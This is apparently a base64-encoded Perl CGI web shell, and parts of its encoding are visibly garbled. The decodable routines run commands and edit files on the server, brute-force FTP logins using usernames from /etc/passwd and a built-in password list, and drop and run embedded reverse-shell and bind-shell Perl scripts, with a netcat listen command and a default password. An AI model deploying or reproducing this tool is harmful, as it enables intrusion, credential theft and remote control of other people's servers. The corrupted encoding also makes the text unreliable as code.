HB6dCBhcyBpdCBpcyBnZWilcmF0ZWQKCXsKCQkkfD0xOwoJCSRDba6tYWikICu9ICIgfCI7CgkJboBlbihDba6tYWikToV0cHV0LCAkQa9tbWFuZCk7CgkJdahpbGUoPENvbW6hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPXugcy8oXGi8XHJcbikkLy87CgkJCSRyZXN6bHQgLj0gJkh0bWxTcGVjaWFsQahhcnMoIiRfXGuiKTsKCQl9CgkJJHw9MDsKCX0KCWVscaUgIyBzaG9oIG96dHB6dCBhZnRlciBjba6tYWikIGNvbXBsZXRlcwoJewoJCSRyZXN6bHQgLj0gJkh0bWxTcGVjaWFsQahhcnMoJENvbW6hbmQpOwoJfQoJaWYoISRXaWiOVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGboJtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgUaFaZUZpbGVGboJtCnsKCW6iICRyZXN6bHQgPSIiOwoJJEVuYa9kZUN6cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN6cnJlbnREaXIpOwoJcoVicoRyKCRSdWiDba6tYWikLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQa9tbWFuZCk7CgkkcaFaZT0nPGJyPjxpbnB6dCBuYW6lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0icoVibWl0IiA+JzsKCSRGaWxlPSRDdXJyZWi0RGlyLiRQYXRoUaVwLiRSdWiDba6tYWikOwoJbXkgJGRpcj0iPHNwYWugcoRibGU9JaZvbnQeIDExcHQgVmVyZGFuYTsgZm9udC6oZWlnaHQeIGJvbGQ7JzuiLiZBZGRMaWirRGlyKCJndWkiKSuiPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm9ocz0iMjMiCgl9ZWxzZQoJewoJCSRtcac9Ijxicju8Zm9udCBzdHlsZT0nYa9sboIeIHllbGxvdzsnIDugQaFubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvdoM9IjIwIgoJfQoJJFByba6wdCA9ICRXaWiOVCA/ICIkZGlyIDugIiAeICI8Zm9udCBjbaxvcj0nI0ZGRkZGRic+WaFkbWluXEAkUaVydmVyTmFtZSAkZGlyXVwkPC9mbai0PiAiOwoJJFJ6bkNvbW6hbmQgPSAiZWRpdCAkUnVuQa9tbWFuZCI7CgkkcmVzdWx0ICu9ICA8PEVORDsKCTxmboJtIGihbWU9ImYiIG6ldGhvZD0iUE9TVCIgYWN0aW9uPSIkUaNyaXB0TG9jYXRpbauiPgoKCTxpbnB6dCB0eXBlPSJoaWRkZWuiIGihbWU9ImQiIHZhbHVlPSIkRWijbaRlQoVycmVudERpciI+CgkkUHJvbXB0Cgk8aWiwdXQgdHlwZT0idGVudCIgcaleZT0iNDAiIGihbWU9ImMiPgoJPGlucHV0IGihbWU9InMiIGNsYXNzPSJzdWJtaXQiIHRicGU9InN6Ym6pdCIgdmFsdWU9IkVudGVyIjuKCTxicjiDba6tYWikOiA8cnVuPiAkUnVuQa9tbWFuZCA8LoJ6bjuKCTxpbnB6dCB0eXBlPSJoaWRkZWuiIGihbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkcaFaZSA8YnI+ICRtcacKCTxicju8dGVudGFyZWEgaWQ9ImRhdGEiIGihbWU9ImRhdGEiIGNvbHM9IiRjbaxzIiBybodzPSIkcm9ocyIgcoBlbGxjaGVjaz0iZmFscaUiPgpFTkQKCQoJJHJlcoVsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZWuoJEZpbGUsMCkpOwoJJHJlcoVsdCAuPSAiPC90ZXh0YXJlYTuiOwoJJHJlcoVsdCAuPSAiPC9mboJtPiI7CglyZXR6cmugJHJlcoVsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KcoViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW6iICRiaWihcnkgPSBzaGlmdDsKCW6iICRyZXN6bHQgPSAiIjsKCW6iICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYoboBlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaWihcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJGugPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0ICu9ICRkYXRhOwoJCQl9CgkJCWNsboNlKEZJTEUpOwoJCX0KCX6lbHNlCgl7CgkJcmV0dXJuICJOboQncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgUaFaZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW6iICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZWi0RGlyLiRQYXRoUaVwLiRGaWxlOwoJaWYoboBlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaWi0IEZJTEUgJERhdGE7CgkJYaxvcaUgRklMRTsKCQlyZXR6cmugMTsKCX6lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGboJtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIEJydXRlRm9yYaVyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlcoVsdCAuPSA8PEVORDsKCjx0YWJsZTuKCjx0cjuKPHRkIGNvbHNwYWu9IjIiIGFsaWduPSJjZWi0ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ6dGUgZm9yYaVyPGJyPgpOboRlOiBPbmxiIHNjYWugZnJvbSAxIHRvIDMgdXNlciAeLVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW6lPSJmIiBtZXRobaQ9IlBPU6QiIGFjdGlvbj0iJFNjcmlwdExvYaF0aW9uIjuKCjxpbnB6dCB0eXBlPSJoaWRkZWuiIGihbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8LoRkPgo8LoRyPgo8dHI+Cjx0ZDiVcaVyOjxicju8dGVudGFyZWEgcm9ocz0iMTgiIGNvbHM9IjMwIiBuYW6lPSJ6caVyIjuKRUiECmNoboAoJHJlcoVsdCAuPSBgbGVzcyAvZXRjLoBhcoNoZCB8IGN6dCAtZDogLWYxYCk7CiRyZXN6bHQgLj0gPDwnRUiEJzsKPC90ZXh0YXJlYTu8LoRkPgo8dGQ+CgpQYXNzOjxicjuKPHRleHRhcmVhIHJvdoM9IjEuIiBjbaxzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaWuKMTIzYWJjCjEyMzQ6NmFkbWluCjEyMzQ6NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG6pbgphZG6pbmNwCmFkbWluaXN0cmF0boIKbWF0aahhdQpwYXNzYWRtaWuKcEBzcodvcmQKcEBzcocwcmQKcGFzcodvcmQKMTIzNDUaCjEyMzQ6NjcKMTIzNDUaNzgKMTIzNDUaNzgiCjEyMzQ6NjcuOTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo6NTU6NTUKNjYaNjYaCjcoNzcoNwouODguODgKOTkiOTkiCjEyMzEyMwoyMzQyMzQKMzQ6MzQ6CjQ6NjQ6Ngo6Njc6NjcKNjcuNjcuCjcuOTcuOQoxMjMzMjEKNDUaNjU0CjY6NDMyMQooNjU0MzIxCjgoNjU0MzIxCjkuNzY6NDMyMQowOTgoNjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDUaCmFiYaRlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJVumKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsboZleW96CjwvdGVudGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cjuKPHRkIGNvbHNwYWu9IjIiIGFsaWduPSJjZWi0ZXIiPgpTbGVlcDo8caVsZWN0IGihbWU9InNsZWVwIjuKCjxvcHRpbau+MDwvboB0aW9uPgo8boB0aW9uPjE8La9wdGlvbjuKPG9wdGlvbjuyPC9vcHRpbau+Cgo8boB0aW9uPjM8La9wdGlvbjuKPC9zZWxlYoQ+IAo8aWiwdXQgdHlwZT0icoVibWl0IiBjbGFzcz0icoVibWl0IiBaYWx6ZT0iQnJ6dGUgRm9yYaVyIi8+PC90ZDu8LoRyPgo8LaZvcm0+CjwvdGFibGU+CkVORApyZXR6cmugJHJlcoVsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ6dGUgRm9yYaVyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoViIEJydXRlRm9yYaVyCnsKCW6iICRyZXN6bHQ9IiI7CgkkUaVydmVyPSRFTlZ7J6NFUlZFUl9BRERSJo07CglpZigkaWi7JoVzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0ICu9ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQeOkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gcoBsaXQoL6xuLywgJGlueydwYXNzJo0pOwoJCWNoba6wKEB6caVyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlcoVsdCAuPSAiPGJyPjxicjibK60gVHJiaWinIGJydXRlICRTZXJaZXJOYW6lPGJyPj09PT09PT09PT09PT09PT09PT09Pju+Pju+Pju+Pju+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicjicbiI7CgkJZm9yZWFjaCAkdXNlcmihbWUgKEB6caVyKQoJCXsKCQkJaWYoJHVzZXJuYW6lIGilICIiKQoJCQl7CgkJCQlmboJlYWNoICRwYXNzda9yZCAoQHBhcoMpCgkJCQl7CgkJCQkJJGZ0cCA9IEildDoeRlRQLTiuZXcoJFNlcnZlcikgboIgZGllICJDboVsZCBuboQgYa9ubmVjdCB0byAkUaVydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naWuoIiR6caVybmFtZSIsIiRwYXNzda9yZCIpKQoJCQkJCXsKCQkJCQkJJHJlcoVsdCAuPSAiPGEgdGFyZaV0PSdfYmxhbmsnIGhyZWY9JaZ0cDovLyR6caVybmFtZTokcGFzcodvcmRcQCRTZXJaZXInPlsrXSBmdHAeLy8kdXNlcmihbWUeJHBhcoNoboJkXEAkUaVydmVyPC9hPjxicjicbiI7CgkJCQkJCSRmdHAtPnF6aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsncaxlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLTixdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlcoVsdCAuPSAiXGu8YnI+PT09PT09PT09PTu+Pju+Pju+PjugRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XGuiOwoJfQoJcmV0dXJuICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhYatjbaiuZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGboJtCnsKCXJldHVybiA8PEVORDsKCTxicju8YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT6NUIiBhYoRpbau9IiRTYoJpcHRMbaNhdGlvbiI+Cgk8dGQ+QmFja0NvbmilYoQeIDxpbnB6dCB0eXBlPSJoaWRkZWuiIGihbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZDuKCTx0ZDugSG9zdDogPGlucHV0IHRicGU9InRleHQiIHNpemU9IjIwIiBuYW6lPSJjbGllbnRhZGRyIiBaYWx6ZT0iJEVOVnsnUkVNT6RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHRicGU9InRleHQiIHNpemU9IjYiIGihbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIuMCIgbairZXl6cD0iZG9jdW6lbnQuZaV0RWxlbWVudEJiSWQoJaJhJykuaWiuZXJIVE6MPXRoaXMudmFsdWU7Iju8LoRkPgoKCTx0ZDu8aWiwdXQgbmFtZT0icyIgYaxhcoM9InN6Ym6pdCIgdHlwZT0icoVibWl0IiBuYW6lPSJzdWJtaXQiIHZhbHVlPSJDbaiuZWN0Iju8LoRkPgoJPC9mboJtPgoJPC90cjuKCTx0cjuKCTx0ZCBjbaxzcGFuPTM+PGZvbnQgYa9sboI9I0ZGRkZGRjibK60gQaxpZWi0IGxpcoRlbiBiZWZvcmUgYa9ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgYahlYasgeW96ciBQboJ0IHdpdGggPGEgdGFyZaV0PSJfYmxhbmsiIGhyZWY9Imh0dHAeLy9odocuYaFueW96caVlbWUuboJnLyI+aHR0cDovLododyijYWiiboVzZWVtZSivcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggYa9tbWFuZDogPHJ6bjiuYyAtdnYgLWwgLXAgPHNwYWugaWQ9ImJhIjuuMDwvcoBhbju8LoJ6bju8LaZvbnQ+PC90ZDuKCgk8LoRyPgoJPC90YWJsZTuKCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT6NUIiBhYoRpbau9IiRTYoJpcHRMbaNhdGlvbiI+Cgk8dGQ+QmluZCBQboJ0OiA8aWiwdXQgdHlwZT0iaGlkZGVuIiBuYW6lPSJhIiBaYWx6ZT0iYmFjaaJpbmQiPjwvdGQ+CgoJPHRkPiBQboJ0OiA8aWiwdXQgdHlwZT0idGVudCIgcaleZT0iMTUiIGihbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkbaN6bWVudCinZXRFbGVtZWi0QnlJZCgnYmknKSipbmilckhUTUw9dGhpcyiaYWx6ZTsiPgoKCSBQYXNzda9yZDogPGlucHV0IHRicGU9InRleHQiIHNpemU9IjEyIiBuYW6lPSJiaWikcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+PGlucHV0IGihbWU9InMiIGNsYXNzPSJzdWJtaXQiIHRicGU9InN6Ym6pdCIgbmFtZT0icoVibWl0IiBaYWx6ZT0iQmluZCI+PC90ZDuKCTwvZm9ybTuKCTwvdHI+Cgk8dHI+Cgk8dGQgYa9scoBhbj0zPjxmbai0IGNvbG9yPSNGRkZGRkY+WytdIFRlcoRpbmcgLiuuLgoJPGJyPlsrXSBUcnkgYa9tbWFuZDogPHJ6bjiuYyAkRUiWeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvcoBhbju8LoJ6bju8LaZvbnQ+PC90ZDuKCgk8LoRyPgoJPC90YWJsZTu8YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrYa9ubmVjdCB6caUgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBCYWNrQmluZAp7Cgl6caUgUa9jaaV0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmkid6pYSnNEUXAxYzJVZ6NVODZPbEiaWTJ0bGREc0iDaVJUYUdWcaJBazlJQ0laWW6sdUwySmhjMmdpTocwS0pFRlNSME0iUUVGU6IxWTdEUXAxYzJVZ6UyOWphMlYwTocwSaRYTmxJRVpwYkdWSVlXNWtiR6UoRFFwemIyTnJaWFFvVTAiRFMwVlVMQ0JRUmwiSlRrVlVMQ0JUVDBOTFgxTlVVa6ZCVFNoZ6oyVjBjSEpaZEciaWVXNWhiV6VvSWiSamNDSXBLU0JaYalCaaFXVWdjSEpwYmiRZ0lscoRYU0JWYm6GaWJHVWdkRzhnVW6WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTIidWJtVmpkQahUVDBOTFJWUXNJSEiaWTJ0aFpHUnlYMmx6S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTaadiM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW6ubElIUnZJRUiaYm06bFkzUWdTRzleZEZudUlqc0iDbkJiYVc6MElDSkRiMjV6WldOMFpXUWhJanNOQaxOUFEwdEZWQzArWVhWMGIyWnNkWEivS0NrN0RRcHZjR6Z6S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS6RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwTocwSaIzQmxiaWhUVkVSRlVsSXNJajRtVTAiRFMwVlVJaWsoRFFwdaNtbHVkQ0FpTFMwOVBTQkRiMjV6WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ6hHNWNiaUkoRFFwemVYTjBaVzBvSWiWdWMyVjBJRWhKVTFSR6NVeEZPeUIxYmiObGRDQlRRVlpGU0VsVFZDQTdaV0ivYnlBbldidGRJRku6YzNSbGJXbHVabTgaSUNjN0lIVnVZVzFsSUMxaE8yVmphRzgoWldObaJiQWiXeXRkSUZWelpYSnBibVpaTalBbk9iQnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQaMoSUhCM6pEdGxZMmhaTolCbFkyaHZJQaRiSzEwZ6UyaGxiRocaSUNjN0pGTm9aVohzSWlrN0RRcGpiRzleWlNCVFQwTkxSVlEoIjsKCSRiaWikcGVybD0iSXlFdmRYTnlMMkpwYmkid6pYSnNEUXAxYzJVZ6UyOWphMlYwTocwS0pFRlNSME0iUUVGU6IxWTdEUW9rY0cieWRBazlJQ6JCVWtkV6deQmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc6aGJXVW9KM6JqY0NjcE9oMEtKRkivWlduc0NUMGdJaTlpYVc0dlltRnphQ0koRFFwemIyTnJaWFFvVTBWU6ZrVlNMQ0JRUmwiSlRrVlVMQ0JUVDBOTFgxTlVVa6ZCVFNoZ0pIQnliM6JaS6cieUlHUnBaU0FpYzIiamEyVjBPaVFoSWpzTkNuTmxkSEiaWTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTAiRFMwVlVMQ0JUVDEiU6JWVlRSVUZFUkZJc0lIQmhZMnNvSW6oaUxDQXhLUaxaYalCaaFXVWdJbkisZEhOdlkydHZjSFEaSUNRaElqc0iDbUpwYm6Rb6UwVlNWa6ZTTENCemIyTnJZV6JrYawicGJpZatjRzliZENoZ6NVNUJSRVJTWDBGT6dTaoBiM0lnWkdsbElDSmlhVzVrTalBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWxaYalCaaFXVWdJbXhwYzNSbGJqbadKQ0VpTocwS6ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRUiNU6VWT6ZDdadVMFZTVmtWU0tUcadZMnhaYzJVZ6EweEpSVTVVS6EwSaVoMEtDVzloWlc0b6UxUkVTVTRzSUNJK0prTk6TVVZPVkNJcE9oMEtDVzloWlc0b6UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc0iDZaxaY0dWdUtGTlVSRVZTVWloZ0lqNG6RMHhKUlU6VUlpazdEUW9KYzNsemRHVnRLQ0oxYmiObGRDQklTVkiVUmtsTVJUcadkVzVeWlhRZ6UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWEuwWlcxcGJtWnZPaUFuTolCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUcuZ0oxcoJYU0JWYzJWeWFXNW6iem9nSnpzZaFXUTdaV0ivYnp0bFkyaHZJQaRiSzEwZ6JHbHlaV0uwYjNKNU9pQWiPeUJoZDJRN6pXTm9ienNnWldObaJiQWiXeXRkSUZOb6pXeHNPaUFuTolSVGFHVnNiQ0lwTocwS0NXTnNiM0isS0ZOVVJFbE9LVHNOQadsamJHOXpaUahUVkVSUFZWUXBPdzBLQ6dOcaIzTmxLRkiVUkVWU6VpazdEUXAiRFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaWi7JaNsaWVudGFkZHInfTsKCSRDbGllbnRQboJ0ID0gaWi0KCRpbnsnYaxpZWi0cG9ydCd9KTsKCWlmKCRDbGllbnRQboJ0IGVxIDApCgl7CgkJcmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRhPWRlYa9kZV9iYXNlNjQoJGJhYatwZXJsKTsKCQlpZigtdyAiLoRtcC8iKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmFjaaNvbmilYoQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN6cnJlbnREaXIuJFBhdGhTZXAuImJhYatjbaiuZWN0LnBsIjsKCQl9CgkJboBlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXNicoRlbSgicGVybCAkRmlsZSAkQaxpZWi0QWRkciAkQaxpZWi0UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVscaUKCXsKCQkkRGF0YT6kZWNvZGVfYmFzZTY0KCRiaWikcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN6cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwboJ0LnBsIjsKCQl9CgkJboBlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXNicoRlbSgicGVybCAkRmlsZSAkQaxpZWi0UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlYoRvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm6EaXIoJCkgCnsKCW6iICRkaXIgPSBzaGlmdDsKCWlmKG9wZWikaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIGilICIuIikgJiYgKCRmaWxlIGilICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpciukUGF0aFNlcCukZmlsZTsKCQkJCWlmKC6kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdWisaWirKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQp9CnN6YiBGaWxlToduZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC6lICRmaWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaWiOVCkKCQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJGihbWU9ZaV0cHd6aWQoJHVpZCk7CgkJCSRncm96cD6nZXRncmdpZCgkZalkKTsKCQkJcmV0dXJuICRuYW6lLiIvIiukZoJvdXA7CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN6YiBQYXJlbnRGbaxkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsKCW6iICRDba6tID0gImNkIFwiJEN6cnJlbnREaXJcIiIuJENtZFNlcCuiYaQgLiuiLiRDbWRTZXAuJENtZFBoZDsKCWNoboAoJHBhdGggPSBgJENvbW6gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmlsZVBlcm6zKCQpCnsKCW6iICRmaWxlID0gcahpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkValuTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR6ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR6dyA9ICJoIjsgfQoJCQlyZXR6cmugJHVyICugIiAvICIgLiAkdXc7CgkJfWVscaUKCQl7CgkJCSRtbaRlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRyZXN6bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG6vZGUgJiAwNzcoNyk7CgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0KcoViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC6lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVsiXTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvYaFsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSRiID0gJHkgKyAxOTAwOwoJCUBtbai0aCA9IHFoLzEgMiAzIDQgNSAaIDcgOCAiIDEwIDExIDEyLzsKCQkkbG60aW6lID0gcoByaWi0ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG6dLCRiLCRoLCRpKTsKCQlyZXR6cmugJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC6mICRmaWxlKQoJewoJCXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFycaVGaWxlUaleZSgkKQp7CglteSAkcaleZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR6cmugJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gcoByaWi0ZigiJSuwMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkcaleZSuiIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gcoByaWi0ZigiJSuyZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkcaleZSuiIE6CIjsKCQl9Cgl9Cn0KcoViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL6iccysvLzsKCSRzdHJpbmcgPXugcy9ccyskLy87CglyZXR6cmugJHN0cmluZzsKfQpzdWIgQWRkUaxhcahlcygkKQp7CglteSAkcoRyaWinID0gcahpZnQ7CgkkcoRyaWinPXugcy9cXC9cXFxcLac7CglyZXR6cmugJHN0cmluZzsKfQpzdWIgVHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZ